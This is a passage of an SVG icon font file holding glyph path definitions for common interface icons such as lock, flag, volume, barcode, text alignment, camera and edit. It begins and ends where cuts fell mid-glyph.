d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z
M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5
t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="lock" unicode="&#xf023;" horiz-adv-x="1152" 
d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
    <glyph glyph-name="flag" unicode="&#xf024;" horiz-adv-x="1792" 
d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48
t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
    <glyph glyph-name="headphones" unicode="&#xf025;" horiz-adv-x="1664" 
d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78
t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5
t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
    <glyph glyph-name="volume_off" unicode="&#xf026;" horiz-adv-x="768" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="volume_down" unicode="&#xf027;" horiz-adv-x="1152" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
    <glyph glyph-name="volume_up" unicode="&#xf028;" horiz-adv-x="1664" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5
t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289
t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
    <glyph glyph-name="qrcode" unicode="&#xf029;" horiz-adv-x="1408" 
d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z
M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
    <glyph glyph-name="barcode" unicode="&#xf02a;" horiz-adv-x="1792" 
d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z
M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
    <glyph glyph-name="tag" unicode="&#xf02b;" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="tags" unicode="&#xf02c;" horiz-adv-x="1920" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="book" unicode="&#xf02d;" horiz-adv-x="1664" 
d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23
q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906
q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5
t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="1280" 
d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="print" unicode="&#xf02f;" horiz-adv-x="1664" 
d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68
v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
    <glyph glyph-name="camera" unicode="&#xf030;" horiz-adv-x="1920" 
d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136
q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="font" unicode="&#xf031;" horiz-adv-x="1664" 
d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57
q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -5 -0.5 -13.5t-0.5 -12.5q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5
q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
    <glyph glyph-name="bold" unicode="&#xf032;" horiz-adv-x="1408" 
d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142
q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5
t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68 -0.5t68 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 -85.5t-163.5 -48.5
t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
    <glyph glyph-name="italic" unicode="&#xf033;" horiz-adv-x="1024" 
d="M0 -126l17 85q22 7 61.5 16.5t72 19t59.5 23.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5
q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
    <glyph glyph-name="text_height" unicode="&#xf034;" horiz-adv-x="1792" 
d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2
t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5
q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
    <glyph glyph-name="text_width" unicode="&#xf035;" 
d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1
t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5
t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49
t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
    <glyph glyph-name="align_left" unicode="&#xf036;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_center" unicode="&#xf037;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19
h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_right" unicode="&#xf038;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_justify" unicode="&#xf039;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="list" unicode="&#xf03a;" horiz-adv-x="1792" 
d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5
t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344
q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192
q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_left" unicode="&#xf03b;" horiz-adv-x="1792" 
d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_right" unicode="&#xf03c;" horiz-adv-x="1792" 
d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="facetime_video" unicode="&#xf03d;" horiz-adv-x="1792" 
d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5
q39 -17 39 -59z" />
    <glyph glyph-name="picture" unicode="&#xf03e;" horiz-adv-x="1920" 
d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216
q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="pencil" unicode="&#xf040;" 
d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38
q53 0 91 -38l235 -234q37 -39 37 -91z" />
    <glyph glyph-name="map_marker" unicode="&#xf041;" horiz-adv-x="1024" 
d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
    <glyph glyph-name="adjust" unicode="&#xf042;" 
d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="tint" unicode="&#xf043;" horiz-adv-x="1024" 
d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362
q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="1792" 
d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92
l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
    <glyph glyph-name="share" unicode="&#xf045;" horiz-adv-x="1664" 
d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832
q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5
t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="check" unicode="&#xf046;" horiz-adv-x="1664" 
